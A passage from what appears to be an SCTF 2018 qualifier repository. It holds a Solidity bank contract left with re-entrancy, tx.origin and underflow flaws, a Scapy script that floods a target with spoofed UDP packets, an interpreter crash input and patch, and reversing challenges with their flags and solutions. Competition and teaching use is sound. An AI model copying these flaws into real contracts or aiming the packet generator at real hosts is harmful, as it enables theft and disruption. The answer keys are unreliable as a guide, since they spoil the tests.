function. 20 | - Charlie: Re-entrancy in withdraw function. 21 | - Delta: Use of tx.origin in sender verification. 22 | 23 | To get the flag, all vulnerabilities should be patched without changing functionalities. 24 | -------------------------------------------------------------------------------- /defense/BankRobber/deploy/src/SCTFBank.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract SCTFBank{ 4 | event LogBalance(address addr, uint256 value); 5 | mapping (address => uint256) private balance; 6 | uint256 private donation_deposit; 7 | address private owner; 8 | 9 | //constructor 10 | constructor() public{ 11 | owner = msg.sender; 12 | } 13 | 14 | //logging balance of requested address 15 | function showBalance(address addr) public { 16 | emit LogBalance(addr, balance[addr]); 17 | } 18 | 19 | //withdraw my balance 20 | function withdraw(uint256 value) public{ 21 | require(balance[msg.sender] >= value); 22 | msg.sender.call.value(value)(); 23 | balance[msg.sender] -= value; 24 | } 25 | 26 | //transfer my balance to other 27 | function transfer(address to, uint256 value) public { 28 | require(balance[msg.sender] >= value); 29 | balance[msg.sender] -= value; 30 | balance[to]+=value; 31 | } 32 | 33 | //transfer my balance to others 34 | function multiTransfer(address[] to_list, uint256 value) public { 35 | require(balance[msg.sender] >= value*to_list.length); 36 | balance[msg.sender] -= value*to_list.length; 37 | for(uint i=0; i < to_list.length; i++){ 38 | balance[to_list[i]] += value; 39 | } 40 | } 41 | 42 | //donate my balance 43 | function donate(uint256 value) public { 44 | balance[msg.sender] -= value; 45 | donation_deposit += value; 46 | } 47 | 48 | //Only bank owner can deliver donations to anywhere he want. 49 | function deliver(address to) public { 50 | require(tx.origin == owner); 51 | to.transfer(donation_deposit); 52 | donation_deposit = 0; 53 | } 54 | 55 | //balance deposit, simple fallback function 56 | function () payable public { 57 | balance[msg.sender]+=msg.value; 58 | } 59 | } 60 | //END 61 | 62 | -------------------------------------------------------------------------------- /defense/SDN-NotOpenNetwork/PacketGen.py: -------------------------------------------------------------------------------- 1 | import random 2 | import struct 3 | import time 4 | from scapy.all import IP, UDP, Ether, conf 5 | 6 | range = xrange 7 | intf = 'lo' 8 | DSTIP = str("127.0.0.1") # Change to attack target 9 | DPORT = 1234 # attack target 10 | RATIO = 0.1 11 | base = (Ether() / IP(dst=DSTIP) / UDP(dport=DPORT)).build() 12 | 13 | sender = conf.L2socket(iface=intf) 14 | senders = [struct.pack(">I", 0x6fde2100 + i) for i in range(256)] 15 | random.shuffle(senders) 16 | 17 | VALID_SENDER = senders[:int(len(senders) * RATIO)] 18 | INVALID_SENDER = senders[int(len(senders) * RATIO):] 19 | 20 | HEAD = base[:26] 21 | TAIL = base[30:] 22 | 23 | 24 | def genPkt(ip): 25 | return HEAD + ip + TAIL 26 | 27 | 28 | def genAtkPktInterval(): 29 | global INVALID_SENDER 30 | Count = {i: random.randint(0, 10) for i in VALID_SENDER} 31 | Count.update({i: random.randint(40, 60) for i in INVALID_SENDER}) 32 | keys = Count.keys() 33 | while len(keys) > 0: 34 | key = random.choice(keys) 35 | if Count[key] == 0: 36 | keys.remove(key) 37 | continue 38 | pkt = genPkt(key) 39 | sender.send(pkt) 40 | Count[key] -= 1 41 | INVALID_SENDER = INVALID_SENDER[20:] 42 | 43 | 44 | def genAtkPkt(): 45 | for _ in range(10): 46 | time.sleep(random.randint(50, 100) * 0.00001) 47 | genAtkPktInterval() 48 | 49 | 50 | if __name__ == '__main__': 51 | genAtkPkt() 52 | -------------------------------------------------------------------------------- /defense/SDN-NotOpenNetwork/README.md: -------------------------------------------------------------------------------- 1 | # SDN-Not Open Network 2 | ## Description 3 | 4 | http://[SDN site]/Not_Open_Network 5 | 6 | ## How to run 7 | 8 | Provided by SDN Site. 9 | 10 | ## Comments 11 | 12 | Tutorial for building onos app. 13 | 14 | Block packets by setup firewall. 15 | 16 | This should be qualify round challenge. 17 | 18 | ## Flag 19 | 20 | `SCTF{The_B4sic_0f_SDN_4pp}` 21 | 22 | ## How to solve 23 | 24 | The given skeleton code (devenv) shows how to setup a PacketProcessor 25 | that intercepts packets and selectively forward the packets. 26 | 27 | Then the problem boils down to writing a correct filtering condition 28 | that determines if a packet should be blocked or not. 29 | 30 | The filtering logic is as simple as the problem description. 31 | (1) Block any packet contains "police" (2) block any packet 32 | that heads to 10.0.0.0/16 and ports other than 80. 33 | 34 | You can use whatever method to implement above logic. 35 | One way is to use `Ip4Prefix.contains` and 36 | `String.toLowerCase().contains`. 37 | -------------------------------------------------------------------------------- /defense/SDN-NotOpenNetwork/non.json: -------------------------------------------------------------------------------- 1 | { 2 | "chal_name": "Not Open Network", 3 | "url": "Not_Open_Network", 4 | "description": ["You are the network admin of a black market service.", 5 | "You want to setup a firewall to protect the servers from hackers and police.", 6 | "Your servers use IPs in 10.0.0.0/16 range.", 7 | "- Drop all incoming packets except the ones heading to port 80.", 8 | "- Drop all packets containing string 'police', case insensitive.", 9 | "- All other packets are sent to correct destinations.", 10 | "You may assume that there will be TCP packets only."], 11 | "flag": "SCTF{The_B4sic_0f_SDN_4pp}", 12 | "handler": "non", 13 | "valid": false, 14 | "packet_submit": false, 15 | "timeout": 600, 16 | "topology": { 17 | "edges": [ 18 | { 19 | "from": 1, 20 | "length": 150, 21 | "to": 2 22 | }, 23 | { 24 | "from": 3, 25 | "length": 150, 26 | "to": 2 27 | } 28 | ], 29 | "nodes": [ 30 | { 31 | "id": 1, 32 | "title": "Your servers", 33 | "shape": "image", 34 | "label": "10.0.*.*", 35 | "image": "static/jobs/img/you.svg" 36 | }, 37 | { 38 | "id": 2, 39 | "title": "Your app will be installed here.", 40 | "shape": "image", 41 | "label": "Router", 42 | "image": "static/jobs/img/router.svg" 43 | }, 44 | { 45 | "id": 3, 46 | "title": "Clients", 47 | "shape": "image", 48 | "image": "static/jobs/img/you.svg" 49 | } 50 | ] 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /defense/SSS_binary/README.md: -------------------------------------------------------------------------------- 1 | # SSS_binary : Simple Script Service 2 | 3 | ## Description 4 | Find bug in SSS2 and fix it! 5 | 6 | (location of binary file) 7 | [Hint](https://github.com/kaishackgon/sctf2017/tree/master/defense/SSS) 8 | 9 | - The purpose of patch is prevent segmentation fault of certain input. Exploitability is not important. 10 | - It is not valid patch that halts program for ceratin input. REPL must be preserved after invalid input. 11 | 12 | ## Comment 13 | 14 | participants can get binary file. 15 | 16 | submission server should replace file and execute it. 17 | 18 | 19 | 20 | ## How to solve 21 | 22 | For each instruction in AST_tree_eval, interpreter checks type for arguemnts. 23 | 24 | There are 6 types (INT = 0, STRING = 1, SYMBOL = 2, LIST = 3, BOOL = 4, FUNC = 5). By checking type for all instructions, challengers can find that AST_tree_app filters `INT, STRING, BOOL` for first argument, but `LIST` is still acceptable. a minimal program which crashes this interpreter is `((con (int 1) (int 2)) (int 3))`. to patch this, change the part for type checking to reject `LIST`. 25 | 26 | ## author's solution 27 | ```/bin/sh 28 | $ objdump -d script > original 29 | 5 objdump -d script_patched > patched 30 | $ diff original patched 31 | 3687c3687 32 | < 403f3d: 0f 84 85 00 00 00 je 403fc8 33 | --- 34 | > 403f3d: 0f 86 85 00 00 00 jbe 403fc8 35 | 4544c4544 36 | < 404c78: 74 6e je 404ce8 37 | --- 38 | > 404c78: 76 6e jbe 404ce8 39 | ``` 40 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/Makefile: -------------------------------------------------------------------------------- 1 | all: script.c runner.c 2 | gcc -o script -O3 script.c runner.c astparser.c asttree.c valcell.c valenv.c 3 | 4 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/astparser.h: -------------------------------------------------------------------------------- 1 | #ifndef __ASTPARSER__ 2 | #define __ASTPARSER__ 3 | #include "asttree.h" 4 | 5 | struct AST_parser 6 | { 7 | int loc; 8 | char* buf; 9 | }; 10 | 11 | struct AST_parser* new_AST_parser(char* buf); 12 | struct AST_tree* AST_parser_parse(struct AST_parser* self); 13 | void del_AST_parser(struct AST_parser* self); 14 | #endif 15 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/asttree.h: -------------------------------------------------------------------------------- 1 | #ifndef __ASTTREE__ 2 | #define __ASTTREE__ 3 | 4 | #include "valenv.h" 5 | #include "valcell.h" 6 | 7 | struct VAL_env; 8 | 9 | enum syntax_type 10 | { 11 | NIL, 12 | APP, 13 | ADD, 14 | SUB, 15 | MUL, 16 | CON, 17 | CAR, 18 | CDR, 19 | LT, 20 | GT, 21 | EQ, 22 | OR, 23 | AND, 24 | NOT, 25 | ITE, 26 | FUN, 27 | CONCAT, 28 | SUBST, 29 | LET, 30 | VAL 31 | }; 32 | 33 | 34 | 35 | struct AST_tree 36 | { 37 | enum syntax_type type; 38 | struct AST_tree* leftn; 39 | struct AST_tree* rightn; 40 | struct AST_tree* elsen; 41 | struct VAL_cell* value; 42 | }; 43 | 44 | 45 | struct AST_tree* new_AST_tree(); 46 | 47 | void del_AST_tree(struct AST_tree* self); 48 | 49 | void AST_tree_print(struct AST_tree* self); 50 | 51 | struct VAL_cell* AST_tree_eval(struct AST_tree* self, 52 | struct VAL_env * environ); 53 | 54 | struct AST_tree* AST_tree_deepcopy(struct AST_tree* self); 55 | 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/runner.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "script.h" 4 | 5 | 6 | 7 | void init_script() 8 | { 9 | setvbuf(stdin,0,2,0); 10 | setvbuf(stdout,0,2,0); 11 | alarm(120); 12 | } 13 | void print_message() 14 | { 15 | printf(" minimal script service\n"); 16 | printf(" this is not well-made script, so its function is limited\n"); 17 | printf(" declaration : \n"); 18 | printf("\n"); 19 | printf(" INTCONST : 64bit signed integer\n"); 20 | printf(" STRINGCONST: any printable characters\n"); 21 | printf(" SYMCONST : alphanumeric characters(max 32 characters)\n"); 22 | printf(" INT : (add INT INT)\n"); 23 | printf(" (sub INT INT)\n"); 24 | printf(" (mul INT INT)\n"); 25 | printf(" (and INT INT)\n"); 26 | printf(" (or INT INT)\n"); 27 | printf(" (int INTCONST)\n"); 28 | printf(" STR : (concat STR STR)\n"); 29 | printf(" (subst STR INT INT)\n"); 30 | printf(" (string \"STRINGCONST\")\n"); 31 | printf(" SYM : (sym SYMCONST)\n"); 32 | printf(" LIST: (con ANY ANY)\n"); 33 | printf(" FUNC: (fun SYM ANY)\n"); 34 | printf(" BOOL: (lt INT INT)\n"); 35 | printf(" (gt INT INT)\n"); 36 | printf(" (eq INT INT)\n"); 37 | printf(" (eq STR STR)\n"); 38 | printf(" (eq BOOL BOOL)\n"); 39 | printf(" (or BOOL BOOL)\n"); 40 | printf(" (and BOOL BOOL)\n"); 41 | printf(" (not BOOL)\n"); 42 | printf(" ANY: (car LIST)\n"); 43 | printf(" (cdr LIST)\n"); 44 | printf(" (ite BOOL ANY ANY)\n"); 45 | printf(" (let SYM ANY ANY)\n"); 46 | printf(" (FUNC ANY)\n"); 47 | printf(" example : \n"); 48 | printf(" (add (int 1) (int 2))\n"); 49 | printf(" - it computes 1 + 2.\n"); 50 | printf(" (concat (string \"hello \") (string \"world!\"))\n"); 51 | printf(" - it concatenate two strings.\n"); 52 | printf(" (let (sym odd) (fun (sym x) (sub (mul (sym x) (int 2)) (int 1))) ((sym odd) (int 6)))\n"); 53 | printf(" - it computes 6th odd number.\n"); 54 | printf(" (let (sym fib) (fun (sym x) (cdr (let (sym fibr) (fun (sym c) (ite (eq (cdr (sym c)) (int 0)) (con (car (sym c)) (int 0)) (ite (eq (cdr (sym c)) (int 1)) (con (car (sym c)) (int 1)) (con (car (sym c)) (add (cdr ((car (sym c)) (con (car (sym c)) (sub (cdr (sym c)) (int 1))))) (cdr ((car (sym c)) (con (car (sym c)) (sub (cdr (sym c)) (int 2)))))))))) ((sym fibr) (con (sym fibr) (sym x)))))) ((sym fib) (int 13)))\n"); 55 | printf(" - it computes 13th fibonacci number.\n"); 56 | } 57 | int main() 58 | { 59 | init_script(); 60 | print_message(); 61 | char linebuf[0x1000]; 62 | int errorno; 63 | while(1) 64 | { 65 | printf(">> "); 66 | fgets_eof(linebuf, 0x1000); 67 | if(errorno = execute(linebuf)) 68 | { 69 | printf("error occured, eno=%d\n", errorno); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/script.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "script.h" 6 | 7 | 8 | char* fgets_eof(char* buf, size_t len) 9 | { 10 | char* retval = fgets(buf, len, stdin); 11 | if(feof(stdin)) 12 | { 13 | printf("EOF reached\n"); 14 | exit(0); 15 | } 16 | if(strlen(buf) >= 1 && buf[strlen(buf)-1]=='\n') 17 | buf[strlen(buf)-1] = '\x00'; 18 | return retval; 19 | } 20 | 21 | 22 | int execute(char* buf) 23 | { 24 | struct AST_parser* x = new_AST_parser(buf); 25 | struct AST_tree* tree = AST_parser_parse(x); 26 | if(!tree) 27 | { 28 | del_AST_parser(x); 29 | return 0; 30 | } 31 | struct VAL_cell* result = AST_tree_eval(tree, NULL); 32 | //AST_tree_print(tree); 33 | VAL_cell_print(result); 34 | del_AST_tree(tree); 35 | del_AST_parser(x); 36 | del_VAL_cell(result); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/script.h: -------------------------------------------------------------------------------- 1 | #ifndef __SCRIPT__ 2 | #define __SCRIPT__ 3 | 4 | #include 5 | #include "astparser.h" 6 | 7 | char* fgets_eof(char* buf, size_t len); 8 | int execute(char* c); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/valcell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "valcell.h" 5 | 6 | 7 | struct VAL_cell* new_VAL_cell() 8 | { 9 | struct VAL_cell* self = (struct VAL_cell*)malloc(sizeof(struct VAL_cell)); 10 | memset(self, '\x00', sizeof(struct VAL_cell)); 11 | return self; 12 | } 13 | 14 | struct VAL_cell* new_INT_VAL_cell(long long value) 15 | { 16 | struct VAL_cell* self = new_VAL_cell(); 17 | self->type = INT; 18 | self->intval = value; 19 | return self; 20 | } 21 | 22 | 23 | struct VAL_cell* new_STR_VAL_cell(char* strval) 24 | { 25 | struct VAL_cell* self= new_VAL_cell(); 26 | self->type =STRING; 27 | int len = strlen(strval) + 1; 28 | self->strval = (char*)malloc(len); 29 | memcpy(self->strval, strval, len); 30 | self->strval[len-1] = '\x00'; 31 | return self; 32 | } 33 | struct VAL_cell* new_SYM_VAL_cell(char* sym) 34 | { 35 | struct VAL_cell* self= new_VAL_cell(); 36 | self->type = SYMBOL; 37 | int len = strlen(sym) + 1; 38 | self->strval = (char*)malloc(len); 39 | memcpy(self->strval, sym, len); 40 | self->strval[len-1] = '\x00'; 41 | return self; 42 | } 43 | 44 | struct VAL_cell* new_BOOL_VAL_cell(int value) 45 | { 46 | struct VAL_cell* self= new_VAL_cell(); 47 | self->type = BOOL; 48 | self->intval = value; 49 | return self; 50 | 51 | } 52 | struct VAL_cell* new_LIST_VAL_cell(struct VAL_cell* leftn, struct VAL_cell* rightn) 53 | { 54 | struct VAL_cell* self = new_VAL_cell(); 55 | self->type = LIST; 56 | self->left = VAL_cell_deepcopy(leftn); 57 | self->right = VAL_cell_deepcopy(rightn); 58 | return self; 59 | } 60 | 61 | struct VAL_cell* new_FUNC_VAL_cell(struct VAL_cell* id, struct AST_tree* body, struct VAL_env* environ) 62 | { 63 | struct VAL_cell* self = new_VAL_cell(); 64 | self->type = FUNC; 65 | self->left = VAL_cell_deepcopy(id); 66 | self->env = VAL_env_deepcopy(environ); 67 | self->body = AST_tree_deepcopy(body); 68 | return self; 69 | } 70 | 71 | struct VAL_cell* VAL_cell_deepcopy(struct VAL_cell* self) 72 | { 73 | struct VAL_cell* retval = new_VAL_cell(); 74 | switch(self->type) 75 | { 76 | case INT: 77 | retval->type = INT; 78 | retval->intval = self->intval; 79 | break; 80 | case STRING: 81 | retval->type = STRING; 82 | retval->strval = (char*)malloc(strlen(self->strval) + 1); 83 | strcpy(retval->strval, self->strval); 84 | break; 85 | case SYMBOL: 86 | retval->type = SYMBOL; 87 | retval->strval = (char*)malloc(strlen(self->strval) + 1); 88 | strcpy(retval->strval, self->strval); 89 | break; 90 | case BOOL: 91 | retval->type = BOOL; 92 | retval->intval = self->intval; 93 | break; 94 | case LIST: 95 | retval->type = LIST; 96 | retval->left = VAL_cell_deepcopy(self->left); 97 | retval->right =VAL_cell_deepcopy(self->right); 98 | break; 99 | case FUNC: 100 | retval->type = FUNC; 101 | retval->left = VAL_cell_deepcopy(self->left); 102 | retval->env = VAL_env_deepcopy(self->env); 103 | retval->body = AST_tree_deepcopy(self->body); 104 | } 105 | return retval; 106 | } 107 | 108 | void del_VAL_cell(struct VAL_cell* self) 109 | { 110 | if(!self) return; 111 | switch(self->type) 112 | { 113 | case INT: 114 | break; 115 | case STRING: 116 | free(self->strval); 117 | break; 118 | case SYMBOL: 119 | free(self->strval); 120 | break; 121 | case BOOL: 122 | break; 123 | case LIST: 124 | del_VAL_cell(self->left); 125 | del_VAL_cell(self->right); 126 | break; 127 | case FUNC: 128 | del_VAL_cell(self->left); 129 | del_VAL_env(self->env); 130 | del_AST_tree(self->body); 131 | break; 132 | } 133 | free(self); 134 | 135 | } 136 | 137 | void VAL_cell_recursive_print(struct VAL_cell* self) 138 | { 139 | switch(self->type) 140 | { 141 | case INT: 142 | printf("(INT %lld)", self->intval); 143 | break; 144 | case STRING: 145 | printf("(STRING \"%s\")", self->strval); 146 | break; 147 | case SYMBOL: 148 | printf("(SYMBOL %s)", self->strval); 149 | break; 150 | case BOOL: 151 | if(self->intval) 152 | { 153 | printf("(BOOL true)"); 154 | } 155 | else 156 | { 157 | printf("(BOOL false)"); 158 | } 159 | break; 160 | case LIST: 161 | printf("(LIST "); 162 | VAL_cell_recursive_print(self->left); 163 | printf(" "); 164 | VAL_cell_recursive_print(self->right); 165 | printf(")"); 166 | break; 167 | case FUNC: 168 | printf("(FUN "); 169 | AST_tree_print(self->body); 170 | printf(")"); 171 | break; 172 | } 173 | return; 174 | 175 | } 176 | void VAL_cell_repr(struct VAL_cell* self) 177 | { 178 | VAL_cell_recursive_print(self); 179 | } 180 | void VAL_cell_print(struct VAL_cell* self) 181 | { 182 | if(!self) return; 183 | VAL_cell_recursive_print(self); 184 | printf("\n"); 185 | } 186 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/valcell.h: -------------------------------------------------------------------------------- 1 | #ifndef __VALCELL__ 2 | #define __VALCELL__ 3 | 4 | #include "asttree.h" 5 | #include "valenv.h" 6 | 7 | 8 | enum value_type 9 | { 10 | INT, 11 | STRING, 12 | SYMBOL, 13 | LIST, 14 | BOOL, 15 | FUNC 16 | }; 17 | 18 | 19 | struct VAL_cell 20 | { 21 | enum value_type type; 22 | long long intval; 23 | char* strval; 24 | struct VAL_cell* left; 25 | struct VAL_cell* right; 26 | struct VAL_env* env; 27 | struct AST_tree* body; 28 | }; 29 | 30 | 31 | void VAL_cell_repr(struct VAL_cell* self); 32 | void VAL_cell_print(struct VAL_cell* self); 33 | struct VAL_cell* new_INT_VAL_cell(long long value); 34 | 35 | struct VAL_cell* new_STR_VAL_cell(char* strval); 36 | 37 | struct VAL_cell* new_SYM_VAL_cell(char* sym); 38 | 39 | struct VAL_cell* new_LIST_VAL_cell(struct VAL_cell*, struct VAL_cell*); 40 | 41 | struct VAL_cell* new_BOOL_VAL_cell(int value); 42 | 43 | struct VAL_cell* new_FUNC_VAL_cell(struct VAL_cell*, struct AST_tree*, struct VAL_env*); 44 | 45 | struct VAL_cell* VAL_cell_deepcopy(struct VAL_cell*); 46 | 47 | void del_VAL_cell(struct VAL_cell* self); 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/valenv.c: -------------------------------------------------------------------------------- 1 | #include "valenv.h" 2 | #include 3 | #include 4 | 5 | struct VAL_env* new_VAL_env(char* val_name, struct VAL_cell* elem) 6 | { 7 | struct VAL_env* self = (struct VAL_env*)malloc(sizeof(struct VAL_env)); 8 | self->elem = VAL_cell_deepcopy(elem); 9 | self->val_name = (char*)malloc(strlen(val_name) + 1); 10 | strcpy(self->val_name, val_name); 11 | self->next = NULL; 12 | return self; 13 | } 14 | 15 | void del_VAL_env(struct VAL_env* self) 16 | { 17 | if(!self) return; 18 | del_VAL_cell(self->elem); 19 | free(self); 20 | } 21 | 22 | struct VAL_env* VAL_env_deepcopy(struct VAL_env* self) 23 | { 24 | if(!self) return NULL; 25 | struct VAL_env* retval = new_VAL_env(self->val_name, self->elem); 26 | retval->next = VAL_env_deepcopy(self->next); 27 | return retval; 28 | } 29 | -------------------------------------------------------------------------------- /defense/SSS_binary/src/valenv.h: -------------------------------------------------------------------------------- 1 | #ifndef __VALENV__ 2 | #define __VALENV__ 3 | #include "valcell.h" 4 | 5 | struct VAL_env 6 | { 7 | char* val_name; 8 | struct VAL_cell* elem; 9 | struct VAL_env* next; 10 | }; 11 | 12 | 13 | struct VAL_env* new_VAL_env(char* val_name, struct VAL_cell* elem); 14 | 15 | void del_VAL_env(struct VAL_env* self); 16 | 17 | struct VAL_env* VAL_env_deepcopy(struct VAL_env* self); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /qual_top10_players.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/qual_top10_players.png -------------------------------------------------------------------------------- /reversing/LowerLevel/README.md: -------------------------------------------------------------------------------- 1 | # Lower Level 2 | ## Description 3 | ``` 4 | Tired of reversing the binary? 5 | If you are, how about doing "More Lower Level(?)" reversing? 6 | Take this! 7 | 8 | Please add SCTF{...} when you get flag. 9 | ``` 10 | 11 | ## Deploy 12 | Give files in deploy folder. 13 | 14 | ## Solution 15 | This circuit is a variant of 7segment decoder. 16 | 17 | 1. Read circuit. Get the formula between input and output. 18 | 2. With formula, write the truth table of this circuit. 19 | 3. Find the input with truth table and output. 20 | 4. Decode the circuit input to alphabet. 21 | 22 | ## Flag 23 | SCTF{NUMBERDECODERINBREADBOARD} 24 | -------------------------------------------------------------------------------- /reversing/LowerLevel/deploy/curcuit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/reversing/LowerLevel/deploy/curcuit.png -------------------------------------------------------------------------------- /reversing/LowerLevel/deploy/output.txt: -------------------------------------------------------------------------------- 1 | 1 = ON 2 | 0 = OFF 3 | 4 | Input Encoding 5 | 00000 = A 6 | 00001 = B 7 | 00010 = C 8 | . 9 | . 10 | . 11 | 12 | 13 | ------------------------------------ 14 | 00100100 15 | 00000000 16 | 01001100 17 | 00110000 18 | 00000001 19 | 01111011 20 | 01111001 21 | 00000001 22 | 01101101 23 | 00100000 24 | 01111001 25 | 00000001 26 | 01111011 27 | 00110011 28 | 00100100 29 | 00110000 30 | 01111011 31 | 00000001 32 | 01111110 33 | 01111001 34 | 00110000 35 | 00100000 36 | 01111110 37 | 01111011 38 | 01111001 39 | -------------------------------------------------------------------------------- /reversing/LowerLevel/prob/gen_output.py: -------------------------------------------------------------------------------- 1 | import string 2 | 3 | def f(x): 4 | return string.uppercase.find(x) 5 | 6 | segtable = [\ 7 | [1,1,1,1,1,1,0],\ 8 | [0,1,1,0,0,0,0],\ 9 | [1,1,0,1,1,0,1],\ 10 | [1,1,1,1,0,0,1],\ 11 | [0,1,1,0,0,1,1],\ 12 | [1,0,1,1,0,1,1],\ 13 | [1,0,1,1,1,1,1],\ 14 | [1,1,1,0,0,0,0],\ 15 | [1,1,1,1,1,1,1],\ 16 | [1,1,1,1,0,1,1] 17 | ] 18 | 19 | ipt = "NUMBERDECODERINBREADBOARD" 20 | for i in ipt: 21 | ipt = format(f(i), '#07b')[2:] 22 | num = int(ipt[:2] + ipt[3:],2) 23 | if ipt[2] == "1": 24 | print "0" + "".join(map(str, map(lambda x: 1-x, segtable[num]))) 25 | else: 26 | print "0" + "".join(map(str, segtable[num])) 27 | -------------------------------------------------------------------------------- /reversing/LowerLevel/prob/not7segwithdes.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/reversing/LowerLevel/prob/not7segwithdes.fzz -------------------------------------------------------------------------------- /reversing/SMachine/README.md: -------------------------------------------------------------------------------- 1 | # SMachine 2 | 3 | ## Description 4 | 5 | ``` 6 | Who said Virtual Machines are old-fashioned challenges? 7 | Here's our brand-new Machine, called SMachine! 8 | 9 | BASE64 of Encoded Flag : `T10yCi0If1dOCioWdWtLDzl4D0J9QjxfHmMOcw==` 10 | ``` 11 | 12 | ## How to solve 13 | 14 | 1. Analyze file strcutrue (0xA82, 0xC9F, ...) 15 | 2. Analyze instruction format (0x11ED, ...) 16 | 3. Analyze instruction semantics (0x3F7F, ...) 17 | 4. Write a disassembler 18 | 5. Analyze target program 19 | 6. Recover decoding algorithm 20 | 21 | ## Flag 22 | `SCTF{SMach1N3_WiLL_R3TURN..}` 23 | 24 | ## How to run 25 | No service to run 26 | -------------------------------------------------------------------------------- /reversing/SMachine/deploy/smachine.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/reversing/SMachine/deploy/smachine.tar.gz -------------------------------------------------------------------------------- /reversing/SMachine/prob/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o smachine main.c -s 3 | 4 | clean: 5 | rm smachine 6 | -------------------------------------------------------------------------------- /reversing/SMachine/prob/flag.orig: -------------------------------------------------------------------------------- 1 | SCTF{SMach1N3_WiLL_R3TURN..} 2 | -------------------------------------------------------------------------------- /reversing/SMachine/prob/main.h: -------------------------------------------------------------------------------- 1 | #define NUM_REGS 8 2 | #define SIZE 1024 * 1024 3 | 4 | /* * * * * * * * * * * * * * * * * * 5 | * Parsing Part Start * 6 | * * * * * * * * * * * * * * * * * */ 7 | typedef struct { 8 | char **instrList; 9 | int nInstr; 10 | } ParsedInstr; 11 | 12 | typedef struct { 13 | char *dataList; 14 | int nData; 15 | } ParsedData; 16 | 17 | typedef struct { 18 | ParsedInstr *pRawInstr; 19 | ParsedData *pRawData; 20 | } Parsed; 21 | /* * * * * * * * * * * * * * * * * * 22 | * Parsing Part End * 23 | * * * * * * * * * * * * * * * * * */ 24 | 25 | /* * * * * * * * * * * * * * * * * * 26 | * Context Part Start * 27 | * * * * * * * * * * * * * * * * * */ 28 | typedef enum { 29 | OP0, // NOP 30 | OP1, // HALT 31 | OP2, // INP 32 | OP3, // OUTP 33 | OP4, // ADD 34 | OP5, // SUB 35 | OP6, // SHL 36 | OP7, // SHR 37 | OP8, // AND 38 | OP9, // OR 39 | OP10, // XOR 40 | OP11, // NOT 41 | OP12, // MOVE 42 | OP13, // JUMP 43 | OP14, // SUBLEQ 44 | OP15 // SUBEQ 45 | } Opcode; 46 | 47 | typedef enum { 48 | REG, 49 | MEM, 50 | CONST 51 | } OperandType; 52 | 53 | typedef struct { 54 | bool isUsed; 55 | OperandType ty; 56 | int idx; 57 | bool isIndirect; 58 | } Operand; 59 | 60 | typedef struct { 61 | bool isCached; 62 | char *rawInstr; 63 | Opcode opcode; 64 | Operand operand[3]; 65 | } Instr; 66 | 67 | typedef struct { 68 | int ip; 69 | int regs[NUM_REGS]; 70 | Instr **text; 71 | int nInstr; 72 | char *data; 73 | } Context; 74 | /* * * * * * * * * * * * * * * * * * 75 | * Context Part End * 76 | * * * * * * * * * * * * * * * * * */ 77 | -------------------------------------------------------------------------------- /reversing/SMachine/prob/prob.sm: -------------------------------------------------------------------------------- 1 | .CODE 2 | MOVE R2 C4 3 | OUTP R2I 4 | ADD R2 R2 C1 5 | SUB M0 M0 C1 6 | SUBEQ M0 C0 C6 7 | JUMP C1 8 | MOVE R2 C53 9 | OUTP R2I 10 | ADD R2 R2 C1 11 | SUB M49 M49 C1 12 | SUBEQ M49 C0 C12 13 | JUMP C7 14 | MOVE R2 C116 15 | OUTP R2I 16 | ADD R2 R2 C1 17 | SUB M112 M112 C1 18 | SUBEQ M112 C0 C18 19 | JUMP C13 20 | INP M138 21 | INP M139 22 | INP M140 23 | INP M141 24 | MOVE M142 M138 25 | SUBEQ M142 C523124044 C25 26 | JUMP C32 27 | MOVE R2 C150 28 | OUTP R2I 29 | ADD R2 R2 C1 30 | SUB M146 M146 C1 31 | SUBEQ M146 C0 C31 32 | JUMP C26 33 | HALT 34 | SUBEQ M138 C51590912 C40 35 | MOVE R2 C171 36 | OUTP R2I 37 | ADD R2 R2 C1 38 | SUB M167 M167 C1 39 | SUBEQ M167 C0 C39 40 | JUMP C34 41 | HALT 42 | MOVE R2 C205 43 | OUTP R2I 44 | ADD R2 R2 C1 45 | SUB M201 M201 C1 46 | SUBEQ M201 C0 C46 47 | JUMP C41 48 | MOVE R2 C249 49 | OUTP R2I 50 | ADD R2 R2 C1 51 | SUB M245 M245 C1 52 | SUBEQ M245 C0 C52 53 | JUMP C47 54 | MOVE R2 C302 55 | OUTP R2I 56 | ADD R2 R2 C1 57 | SUB M298 M298 C1 58 | SUBEQ M298 C0 C58 59 | JUMP C53 60 | MOVE R2 C1024 61 | INP R2I 62 | ADD R2 R2 C1 63 | SUB M314 M314 C1 64 | SUBEQ M314 C0 C64 65 | JUMP C59 66 | MOVE R2 C1024 // R2 = buf 67 | MOVE R3 C3072 // R3 = dst 68 | MOVE M318 C256 // i_len <- 0x100 69 | MOVE M322 C0 // i <- 0 70 | MOVE M326 C7 // j_len <- 7 71 | MOVE M330 C0 // j <- 0 72 | MOVE R4 C0 // R4 = r <- 0 73 | MOVE M334 C7 // k_len <- 7 74 | MOVE M338 C0 